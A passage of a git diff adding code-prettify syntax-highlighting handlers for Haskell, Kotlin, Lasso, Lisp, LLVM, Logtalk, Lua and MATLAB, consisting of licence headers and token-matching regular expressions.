+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Registers a language handler for Haskell.
+ *
+ *
+ * To use, include prettify.js and this file in your HTML page.
+ * Then put your code in an HTML tag like
+ *      <pre class="prettyprint lang-hs">(my lisp code)</pre>
+ * The lang-cl class identifies the language as common lisp.
+ * This file supports the following language extensions:
+ *     lang-cl - Common Lisp
+ *     lang-el - Emacs Lisp
+ *     lang-lisp - Lisp
+ *     lang-scm - Scheme
+ *
+ *
+ * I used http://www.informatik.uni-freiburg.de/~thiemann/haskell/haskell98-report-html/syntax-iso.html
+ * as the basis, but ignore the way the ncomment production nests since this
+ * makes the lexical grammar irregular.  It might be possible to support
+ * ncomments using the lookbehind filter.
+ *
+ *
+ * @author mikesamuel@gmail.com
+ */
+
+PR['registerLangHandler'](
+    PR['createSimpleLexer'](
+        [
+         // Whitespace
+         // whitechar    ->    newline | vertab | space | tab | uniWhite
+         // newline      ->    return linefeed | return | linefeed | formfeed
+         [PR['PR_PLAIN'],       /^[\t\n\x0B\x0C\r ]+/, null, '\t\n\x0B\x0C\r '],
+         // Single line double and single-quoted strings.
+         // char         ->    ' (graphic<' | \> | space | escape<\&>) '
+         // string       ->    " {graphic<" | \> | space | escape | gap}"
+         // escape       ->    \ ( charesc | ascii | decimal | o octal
+         //                        | x hexadecimal )
+         // charesc      ->    a | b | f | n | r | t | v | \ | " | ' | &
+         [PR['PR_STRING'],      /^\"(?:[^\"\\\n\x0C\r]|\\[\s\S])*(?:\"|$)/,
+          null, '"'],
+         [PR['PR_STRING'],      /^\'(?:[^\'\\\n\x0C\r]|\\[^&])\'?/,
+          null, "'"],
+         // decimal      ->    digit{digit}
+         // octal        ->    octit{octit}
+         // hexadecimal  ->    hexit{hexit}
+         // integer      ->    decimal
+         //               |    0o octal | 0O octal
+         //               |    0x hexadecimal | 0X hexadecimal
+         // float        ->    decimal . decimal [exponent]
+         //               |    decimal exponent
+         // exponent     ->    (e | E) [+ | -] decimal
+         [PR['PR_LITERAL'],
+          /^(?:0o[0-7]+|0x[\da-f]+|\d+(?:\.\d+)?(?:e[+\-]?\d+)?)/i,
+          null, '0123456789']
+        ],
+        [
+         // Haskell does not have a regular lexical grammar due to the nested
+         // ncomment.
+         // comment      ->    dashes [ any<symbol> {any}] newline
+         // ncomment     ->    opencom ANYseq {ncomment ANYseq}closecom
+         // dashes       ->    '--' {'-'}
+         // opencom      ->    '{-'
+         // closecom     ->    '-}'
+         [PR['PR_COMMENT'],     /^(?:(?:--+(?:[^\r\n\x0C]*)?)|(?:\{-(?:[^-]|-+[^-\}])*-\}))/],
+         // reservedid   ->    case | class | data | default | deriving | do
+         //               |    else | if | import | in | infix | infixl | infixr
+         //               |    instance | let | module | newtype | of | then
+         //               |    type | where | _
+         [PR['PR_KEYWORD'],     /^(?:case|class|data|default|deriving|do|else|if|import|in|infix|infixl|infixr|instance|let|module|newtype|of|then|type|where|_)(?=[^a-zA-Z0-9\']|$)/, null],
+         // qvarid       ->    [ modid . ] varid
+         // qconid       ->    [ modid . ] conid
+         // varid        ->    (small {small | large | digit | ' })<reservedid>
+         // conid        ->    large {small | large | digit | ' }
+         // modid        ->    conid
+         // small        ->    ascSmall | uniSmall | _
+         // ascSmall     ->    a | b | ... | z
+         // uniSmall     ->    any Unicode lowercase letter
+         // large        ->    ascLarge | uniLarge
+         // ascLarge     ->    A | B | ... | Z
+         // uniLarge     ->    any uppercase or titlecase Unicode letter
+         [PR['PR_PLAIN'],  /^(?:[A-Z][\w\']*\.)*[a-zA-Z][\w\']*/],
+         // matches the symbol production
+         [PR['PR_PUNCTUATION'], /^[^\t\n\x0B\x0C\r a-zA-Z0-9\'\"]+/]
+        ]),
+    ['hs']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-kotlin.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-kotlin.js
new file mode 100644
index 000000000..7f4bc2c48
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-kotlin.js
@@ -0,0 +1,58 @@
+/**
+ * @license
+ * Copyright (C) 2017 Michał Bączkowski
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Registers a language handler for Kotlin.
+ *
+ * Limitations:
+ * - doesn't support string interpolation ("$var")
+ * - doesn't support labels if there is no space between the keyword (break@loop, loop@for)
+ *
+ * @author mibac138@gmail.com
+ */
+
+PR['registerLangHandler'](
+    PR['createSimpleLexer'](
+        [
+            [PR['PR_PLAIN'], /^[\t\n\r \xA0]+/, null, '\t\n\r \xA0'],
+            [PR['PR_PUNCTUATION'], /^[.!%&()*+,\-;<=>?\[\\\]^{|}:]+/, null, '.!%&()*+,-;<=>?[\\]^{|}:']
+        ],
+        [
+            // keywords
+            [PR['PR_KEYWORD'],
+                /^\b(package|public|protected|private|open|abstract|constructor|final|override|import|for|while|as|typealias|get|set|((data|enum|annotation|sealed) )?class|this|super|val|var|fun|is|in|throw|return|break|continue|(companion )?object|if|try|else|do|when|init|interface|typeof)\b/],
+            [PR['PR_LITERAL'], /^(?:true|false|null)\b/],
+            // number literals
+            [PR['PR_LITERAL'], /^(0[xX][0-9a-fA-F_]+L?|0[bB][0-1]+L?|[0-9_.]+([eE]-?[0-9]+)?[fFL]?)/],
+            [PR['PR_TYPE'], /^(\b[A-Z]+[a-z][a-zA-Z0-9_$@]*|`.*`)/, null],
+            //double slash comments
+            [PR['PR_COMMENT'], /^\/\/.*/],
+            //slash star comments and documentation
+            [PR['PR_COMMENT'], /^\/\*[\s\S]*?(?:\*\/|$)/],
+            // char
+            [PR['PR_STRING'], /'.'/],
+            // string
+            [PR['PR_STRING'], /^"([^"\\]|\\[\s\S])*"/],
+            // multiline string
+            [PR['PR_STRING'], /^"{3}[\s\S]*?[^\\]"{3}/],
+            // annotation (and label)
+            [PR['PR_LITERAL'], /^@([a-zA-Z0-9_$@]*|`.*`)/],
+            // label definition
+            [PR['PR_LITERAL'], /^[a-zA-Z0-9_]+@/]
+        ]),
+    ['kotlin']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-lasso.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-lasso.js
new file mode 100644
index 000000000..f5d488149
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-lasso.js
@@ -0,0 +1,67 @@
+/**
+ * @license
+ * Copyright (C) 2013 Eric Knibbe
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Registers a language handler for Lasso. <http://www.lassosoft.com>
+ *
+ * To use, include prettify.js and this file in your HTML page.
+ * Then enclose your code in an HTML tag like so:
+ *      <pre class="prettyprint lang-lasso">[your Lasso code]</pre>
+ *
+ * @author Eric Knibbe
+ */
+
+PR['registerLangHandler'](
+    PR['createSimpleLexer'](
+        [
+          // whitespace
+          [PR['PR_PLAIN'],        /^[\t\n\r \xA0]+/, null, '\t\n\r \xA0'],
+          // single quote strings
+          [PR['PR_STRING'],       /^\'(?:[^\'\\]|\\[\s\S])*(?:\'|$)/, null, "'"],
+          // double quote strings
+          [PR['PR_STRING'],       /^\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/, null, '"'],
+          // ticked strings
+          [PR['PR_STRING'],       /^\`[^\`]*(?:\`|$)/, null, '`'],
+          // numeral as integer or hexidecimal
+          [PR['PR_LITERAL'],      /^0x[\da-f]+|\d+/i, null, '0123456789'],
+          // local or thread variables, or hashbang
+          [PR['PR_ATTRIB_NAME'],  /^#\d+|[#$][a-z_][\w.]*|#![ \S]+lasso9\b/i, null, '#$']
+        ],
+        [
+          // square or angle bracket delimiters
+          [PR['PR_TAG'],          /^[[\]]|<\?(?:lasso(?:script)?|=)|\?>|noprocess\b|no_square_brackets\b/i],
+          // single-line or block comments
+          [PR['PR_COMMENT'],      /^\/\/[^\r\n]*|\/\*[\s\S]*?\*\//],
+          // member variables or keyword parameters
+          [PR['PR_ATTRIB_NAME'],  /^-(?!infinity)[a-z_][\w.]*|\.\s*'[a-z_][\w.]*'/i],
+          // numeral as decimal or scientific notation
+          [PR['PR_LITERAL'],      /^\d*\.\d+(?:e[-+]?\d+)?|infinity\b|NaN\b/i],
+          // tag literals
+          [PR['PR_ATTRIB_VALUE'], /^::\s*[a-z_][\w.]*/i],
+          // constants
+          [PR['PR_LITERAL'],      /^(?:true|false|none|minimal|full|all|void|and|or|not|bw|nbw|ew|new|cn|ncn|lt|lte|gt|gte|eq|neq|rx|nrx|ft)\b/i],
+          // container or control keywords
+          [PR['PR_KEYWORD'],      /^(?:error_code|error_msg|error_pop|error_push|error_reset|cache|database_names|database_schemanames|database_tablenames|define_tag|define_type|email_batch|encode_set|html_comment|handle|handle_error|header|if|inline|iterate|ljax_target|link|link_currentaction|link_currentgroup|link_currentrecord|link_detail|link_firstgroup|link_firstrecord|link_lastgroup|link_lastrecord|link_nextgroup|link_nextrecord|link_prevgroup|link_prevrecord|log|loop|namespace_using|output_none|portal|private|protect|records|referer|referrer|repeating|resultset|rows|search_args|search_arguments|select|sort_args|sort_arguments|thread_atomic|value_list|while|abort|case|else|if_empty|if_false|if_null|if_true|loop_abort|loop_continue|loop_count|params|params_up|return|return_value|run_children|soap_definetag|soap_lastrequest|soap_lastresponse|tag_name|ascending|average|by|define|descending|do|equals|frozen|group|handle_failure|import|in|into|join|let|match|max|min|on|order|parent|protected|provide|public|require|returnhome|skip|split_thread|sum|take|thread|to|trait|type|where|with|yield|yieldhome)\b/i],
+          // standard type or variable declarations
+          [PR['PR_TYPE'],         /^(?:array|date|decimal|duration|integer|map|pair|string|tag|xml|null|boolean|bytes|keyword|list|locale|queue|set|stack|staticarray|local|var|variable|global|data|self|inherited|currentcapture|givenblock)\b|^\.\.?/i],
+          // type, method, or parameter names
+          [PR['PR_PLAIN'],        /^[a-z_][\w.]*(?:=\s*(?=\())?/i],
+          // operators
+          [PR['PR_PUNCTUATION'],  /^:=|[-+*\/%=<>&|!?\\]/]
+        ]),
+    ['lasso', 'ls', 'lassoscript']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-lisp.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-lisp.js
new file mode 100644
index 000000000..aa5315e4c
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-lisp.js
@@ -0,0 +1,95 @@
+/**
+ * @license
+ * Copyright (C) 2008 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Registers a language handler for Common Lisp and related languages.
+ *
+ *
+ * To use, include prettify.js and this file in your HTML page.
+ * Then put your code in an HTML tag like
+ *      <pre class="prettyprint lang-lisp">(my lisp code)</pre>
+ * The lang-cl class identifies the language as common lisp.
+ * This file supports the following language extensions:
+ *     lang-cl - Common Lisp
+ *     lang-el - Emacs Lisp
+ *     lang-lisp - Lisp
+ *     lang-scm - Scheme
+ *     lang-lsp - FAT 8.3 filename version of lang-lisp.
+ *
+ *
+ * I used http://www.devincook.com/goldparser/doc/meta-language/grammar-LISP.htm
+ * as the basis, but added line comments that start with ; and changed the atom
+ * production to disallow unquoted semicolons.
+ *
+ * "Name"    = 'LISP'
+ * "Author"  = 'John McCarthy'
+ * "Version" = 'Minimal'
+ * "About"   = 'LISP is an abstract language that organizes ALL'
+ *           | 'data around "lists".'
+ *
+ * "Start Symbol" = [s-Expression]
+ *
+ * {Atom Char}   = {Printable} - {Whitespace} - [()"\'']
+ *
+ * Atom = ( {Atom Char} | '\'{Printable} )+
+ *
+ * [s-Expression] ::= [Quote] Atom
+ *                  | [Quote] '(' [Series] ')'
+ *                  | [Quote] '(' [s-Expression] '.' [s-Expression] ')'
+ *
+ * [Series] ::= [s-Expression] [Series]
+ *            |
+ *
+ * [Quote]  ::= ''      !Quote = do not evaluate
+ *            |
+ *
+ *
+ * I used <a href="http://gigamonkeys.com/book/">Practical Common Lisp</a> as
+ * the basis for the reserved word list.
+ *
+ *
+ * @author mikesamuel@gmail.com
+ */
+
+PR['registerLangHandler'](
+    PR['createSimpleLexer'](
+        [
+         ['opn',             /^\(+/, null, '('],
+         ['clo',             /^\)+/, null, ')'],
+         // A line comment that starts with ;
+         [PR['PR_COMMENT'],     /^;[^\r\n]*/, null, ';'],
+         // Whitespace
+         [PR['PR_PLAIN'],       /^[\t\n\r \xA0]+/, null, '\t\n\r \xA0'],
+         // A double quoted, possibly multi-line, string.
+         [PR['PR_STRING'],      /^\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/, null, '"']
+        ],
+        [
+         [PR['PR_KEYWORD'],     /^(?:block|c[ad]+r|catch|con[ds]|def(?:ine|un)|do|eq|eql|equal|equalp|eval-when|flet|format|go|if|labels|lambda|let|load-time-value|locally|macrolet|multiple-value-call|nil|progn|progv|quote|require|return-from|setq|symbol-macrolet|t|tagbody|the|throw|unwind)\b/, null],
+         [PR['PR_LITERAL'],
+          /^[+\-]?(?:[0#]x[0-9a-f]+|\d+\/\d+|(?:\.\d+|\d+(?:\.\d*)?)(?:[ed][+\-]?\d+)?)/i],
+         // A single quote possibly followed by a word that optionally ends with
+         // = ! or ?.
+         [PR['PR_LITERAL'],
+          /^\'(?:-*(?:\w|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?)?/],
+         // A word that optionally ends with = ! or ?.
+         [PR['PR_PLAIN'],
+          /^-*(?:[a-z_]|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?/i],
+         // A printable non-space non-special character
+         [PR['PR_PUNCTUATION'], /^[^\w\t\n\r \xA0()\"\\\';]+/]
+        ]),
+    ['cl', 'el', 'lisp', 'lsp', 'scm', 'ss', 'rkt']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-llvm.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-llvm.js
new file mode 100644
index 000000000..0c575447f
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-llvm.js
@@ -0,0 +1,63 @@
+/**
+ * @license
+ * Copyright (C) 2013 Nikhil Dabas
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Registers a language handler for LLVM.
+ * From https://gist.github.com/ndabas/2850418
+ *
+ *
+ * To use, include prettify.js and this file in your HTML page.
+ * Then put your code in an HTML tag like
+ *      <pre class="prettyprint lang-llvm">(my LLVM code)</pre>
+ *
+ *
+ * The regular expressions were adapted from:
+ * https://github.com/hansstimer/llvm.tmbundle/blob/76fedd8f50fd6108b1780c51d79fbe3223de5f34/Syntaxes/LLVM.tmLanguage
+ * 
+ * http://llvm.org/docs/LangRef.html#constants describes the language grammar.
+ * 
+ * @author Nikhil Dabas
+ */
+PR['registerLangHandler'](
+    PR['createSimpleLexer'](
+        [
+         // Whitespace
+         [PR['PR_PLAIN'],       /^[\t\n\r \xA0]+/, null, '\t\n\r \xA0'],
+         // A double quoted, possibly multi-line, string.
+         [PR['PR_STRING'],      /^!?\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/, null, '"'],
+         // comment.llvm
+         [PR['PR_COMMENT'],     /^;[^\r\n]*/, null, ';']
+        ],
+        [
+         // variable.llvm
+         [PR['PR_PLAIN'],       /^[%@!](?:[-a-zA-Z$._][-a-zA-Z$._0-9]*|\d+)/],
+
+         // According to http://llvm.org/docs/LangRef.html#well-formedness
+         // These reserved words cannot conflict with variable names, because none of them start with a prefix character ('%' or '@').
+         [PR['PR_KEYWORD'],     /^[A-Za-z_][0-9A-Za-z_]*/, null],
+
+         // constant.numeric.float.llvm
+         [PR['PR_LITERAL'],     /^\d+\.\d+/],
+         
+         // constant.numeric.integer.llvm
+         [PR['PR_LITERAL'],     /^(?:\d+|0[xX][a-fA-F0-9]+)/],
+
+         // punctuation
+         [PR['PR_PUNCTUATION'], /^[()\[\]{},=*<>:]|\.\.\.$/]
+        ]),
+    ['llvm', 'll']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-logtalk.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-logtalk.js
new file mode 100644
index 000000000..1e79559ac
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-logtalk.js
@@ -0,0 +1,50 @@
+/**
+ * @license
+ * Copyright (C) 2014 Paulo Moura
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Registers a language handler for Logtalk.
+ * http://logtalk.org/
+ * @author Paulo Moura
+ */
+
+PR['registerLangHandler'](
+    PR['createSimpleLexer'](
+        [
+          // double-quoted strings.
+          [PR['PR_STRING'], /^\"(?:[^\"\\\n\x0C\r]|\\[\s\S])*(?:\"|$)/, null, '"'],
+          // atoms (don't break on underscores!)
+          [PR['PR_LITERAL'], /^[a-z][a-zA-Z0-9_]*/],
+          // quoted atoms
+          [PR['PR_LITERAL'], /^\'(?:[^\'\\\n\x0C\r]|\\[^&])+\'?/, null, "'"],
+          // numbers
+          [PR['PR_LITERAL'], /^(?:0'.|0b[0-1]+|0o[0-7]+|0x[\da-f]+|\d+(?:\.\d+)?(?:e[+\-]?\d+)?)/i, null, '0123456789']
+        ],
+        [
+          // single-line comments begin with %
+          [PR['PR_COMMENT'], /^%[^\r\n]*/, null, '%'],
+          // block comments are delimited by /* and */
+          [PR['PR_COMMENT'], /^\/\*[\s\S]*?\*\//],
+          // directives
+          [PR['PR_KEYWORD'], /^\s*:-\s(c(a(lls|tegory)|oinductive)|p(ublic|r(ot(ocol|ected)|ivate))|e(l(if|se)|n(coding|sure_loaded)|xport)|i(f|n(clude|itialization|fo))|alias|d(ynamic|iscontiguous)|m(eta_(non_terminal|predicate)|od(e|ule)|ultifile)|reexport|s(et_(logtalk|prolog)_flag|ynchronized)|o(bject|p)|use(s|_module))/],
+          [PR['PR_KEYWORD'], /^\s*:-\s(e(lse|nd(if|_(category|object|protocol)))|built_in|dynamic|synchronized|threaded)/],
+          // variables
+          [PR['PR_TYPE'], /^[A-Z_][a-zA-Z0-9_]*/],
+          // operators
+          [PR['PR_PUNCTUATION'], /^[.,;{}:^<>=\\/+*?#!-]/]
+        ]),
+    ['logtalk', 'lgt']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-lua.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-lua.js
new file mode 100644
index 000000000..3556a5f3d
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-lua.js
@@ -0,0 +1,60 @@
+/**
+ * @license
+ * Copyright (C) 2008 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *    http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @fileoverview
+ * Registers a language handler for Lua.
+ *
+ *
+ * To use, include prettify.js and this file in your HTML page.
+ * Then put your code in an HTML tag like
+ *      <pre class="prettyprint lang-lua">(my Lua code)</pre>
+ *
+ *
+ * I used http://www.lua.org/manual/5.1/manual.html#2.1
+ * Because of the long-bracket concept used in strings and comments, Lua does
+ * not have a regular lexical grammar, but luckily it fits within the space
+ * of irregular grammars supported by javascript regular expressions.
+ *
+ * @author mikesamuel@gmail.com
+ */
+
+PR['registerLangHandler'](
+    PR['createSimpleLexer'](
+        [
+         // Whitespace
+         [PR['PR_PLAIN'],       /^[\t\n\r \xA0]+/, null, '\t\n\r \xA0'],
+         // A double or single quoted, possibly multi-line, string.
+         [PR['PR_STRING'],      /^(?:\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)|\'(?:[^\'\\]|\\[\s\S])*(?:\'|$))/, null, '"\'']
+        ],
+        [
+         // A comment is either a line comment that starts with two dashes, or
+         // two dashes preceding a long bracketed block.
+         [PR['PR_COMMENT'], /^--(?:\[(=*)\[[\s\S]*?(?:\]\1\]|$)|[^\r\n]*)/],
+         // A long bracketed block not preceded by -- is a string.
+         [PR['PR_STRING'],  /^\[(=*)\[[\s\S]*?(?:\]\1\]|$)/],
+         [PR['PR_KEYWORD'], /^(?:and|break|do|else|elseif|end|false|for|function|if|in|local|nil|not|or|repeat|return|then|true|until|while)\b/, null],
+         // A number is a hex integer literal, a decimal real literal, or in
+         // scientific notation.
+         [PR['PR_LITERAL'],
+          /^[+-]?(?:0x[\da-f]+|(?:(?:\.\d+|\d+(?:\.\d*)?)(?:e[+\-]?\d+)?))/i],
+         // An identifier
+         [PR['PR_PLAIN'], /^[a-z_]\w*/i],
+         // A run of punctuation
+         [PR['PR_PUNCTUATION'], /^[^\w\t\n\r \xA0][^\w\t\n\r \xA0\"\'\-\+=]*/]
+        ]),
+    ['lua']);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-matlab.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-matlab.js
new file mode 100644
index 000000000..d98c8212e
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/src/lang-matlab.js
@@ -0,0 +1,183 @@
+/**
+ * @license
+ * Copyright (c) 2013 by Amro <amroamroamro@gmail.com>
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ * THE SOFTWARE.
+ */
+
+/**
+ * @fileoverview
+ * Registers a language handler for MATLAB.
+ *
+ * To use, include prettify.js and this file in your HTML page.
+ * Then put your code inside an HTML tag like
+ *     <pre class="prettyprint lang-matlab">
+ *     </pre>
+ *
+ * @see https://github.com/amroamroamro/prettify-matlab
+ */
+(function (PR) {
+  /*
+    PR_PLAIN: plain text
+    PR_STRING: string literals
+    PR_KEYWORD: keywords
+    PR_COMMENT: comments
+    PR_TYPE: types
+    PR_LITERAL: literal values (1, null, true, ..)
+    PR_PUNCTUATION: punctuation string
+    PR_SOURCE: embedded source
+    PR_DECLARATION: markup declaration such as a DOCTYPE
+    PR_TAG: sgml tag
+    PR_ATTRIB_NAME: sgml attribute name
+    PR_ATTRIB_VALUE: sgml attribute value
+  */
+  var PR_IDENTIFIER = "ident",
+    PR_CONSTANT = "const",
+    PR_FUNCTION = "fun",
+    PR_FUNCTION_TOOLBOX = "fun_tbx",
+    PR_SYSCMD = "syscmd",
+    PR_CODE_OUTPUT = "codeoutput",
+    PR_ERROR = "err",
+    PR_WARNING = "wrn",
+    PR_TRANSPOSE = "transpose",
+    PR_LINE_CONTINUATION = "linecont";
+
+  // Refer to: http://www.mathworks.com/help/matlab/functionlist-alpha.html
+  var coreFunctions = [
+    'abs|accumarray|acos(?:d|h)?|acot(?:d|h)?|acsc(?:d|h)?|actxcontrol(?:list|select)?|actxGetRunningServer|actxserver|addlistener|addpath|addpref|addtodate|airy|align|alim|all|allchild|alpha|alphamap|amd|ancestor|and|angle|annotation|any|area|arrayfun|asec(?:d|h)?|asin(?:d|h)?|assert|assignin|atan(?:2|d|h)?|audiodevinfo|audioplayer|audiorecorder|aufinfo|auread|autumn|auwrite|avifile|aviinfo|aviread|axes|axis|balance|bar(?:3|3h|h)?|base2dec|beep|BeginInvoke|bench|bessel(?:h|i|j|k|y)|beta|betainc|betaincinv|betaln|bicg|bicgstab|bicgstabl|bin2dec|bitand|bitcmp|bitget|bitmax|bitnot|bitor|bitset|bitshift|bitxor|blanks|blkdiag|bone|box|brighten|brush|bsxfun|builddocsearchdb|builtin|bvp4c|bvp5c|bvpget|bvpinit|bvpset|bvpxtend|calendar|calllib|callSoapService|camdolly|cameratoolbar|camlight|camlookat|camorbit|campan|campos|camproj|camroll|camtarget|camup|camva|camzoom|cart2pol|cart2sph|cast|cat|caxis|cd|cdf2rdf|cdfepoch|cdfinfo|cdflib(?:\.(?:close|closeVar|computeEpoch|computeEpoch16|create|createAttr|createVar|delete|deleteAttr|deleteAttrEntry|deleteAttrgEntry|deleteVar|deleteVarRecords|epoch16Breakdown|epochBreakdown|getAttrEntry|getAttrgEntry|getAttrMaxEntry|getAttrMaxgEntry|getAttrName|getAttrNum|getAttrScope|getCacheSize|getChecksum|getCompression|getCompressionCacheSize|getConstantNames|getConstantValue|getCopyright|getFileBackward|getFormat|getLibraryCopyright|getLibraryVersion|getMajority|getName|getNumAttrEntries|getNumAttrgEntries|getNumAttributes|getNumgAttributes|getReadOnlyMode|getStageCacheSize|getValidate|getVarAllocRecords|getVarBlockingFactor|getVarCacheSize|getVarCompression|getVarData|getVarMaxAllocRecNum|getVarMaxWrittenRecNum|getVarName|getVarNum|getVarNumRecsWritten|getVarPadValue|getVarRecordData|getVarReservePercent|getVarsMaxWrittenRecNum|getVarSparseRecords|getVersion|hyperGetVarData|hyperPutVarData|inquire|inquireAttr|inquireAttrEntry|inquireAttrgEntry|inquireVar|open|putAttrEntry|putAttrgEntry|putVarData|putVarRecordData|renameAttr|renameVar|setCacheSize|setChecksum|setCompression|setCompressionCacheSize|setFileBackward|setFormat|setMajority|setReadOnlyMode|setStageCacheSize|setValidate|setVarAllocBlockRecords|setVarBlockingFactor|setVarCacheSize|setVarCompression|setVarInitialRecs|setVarPadValue|SetVarReservePercent|setVarsCacheSize|setVarSparseRecords))?|cdfread|cdfwrite|ceil|cell2mat|cell2struct|celldisp|cellfun|cellplot|cellstr|cgs|checkcode|checkin|checkout|chol|cholinc|cholupdate|circshift|cla|clabel|class|clc|clear|clearvars|clf|clipboard|clock|close|closereq|cmopts|cmpermute|cmunique|colamd|colon|colorbar|colordef|colormap|colormapeditor|colperm|Combine|comet|comet3|commandhistory|commandwindow|compan|compass|complex|computer|cond|condeig|condest|coneplot|conj|containers\.Map|contour(?:3|c|f|slice)?|contrast|conv|conv2|convhull|convhulln|convn|cool|copper|copyfile|copyobj|corrcoef|cos(?:d|h)?|cot(?:d|h)?|cov|cplxpair|cputime|createClassFromWsdl|createSoapMessage|cross|csc(?:d|h)?|csvread|csvwrite|ctranspose|cumprod|cumsum|cumtrapz|curl|customverctrl|cylinder|daqread|daspect|datacursormode|datatipinfo|date|datenum|datestr|datetick|datevec|dbclear|dbcont|dbdown|dblquad|dbmex|dbquit|dbstack|dbstatus|dbstep|dbstop|dbtype|dbup|dde23|ddeget|ddesd|ddeset|deal|deblank|dec2base|dec2bin|dec2hex|decic|deconv|del2|delaunay|delaunay3|delaunayn|DelaunayTri|delete|demo|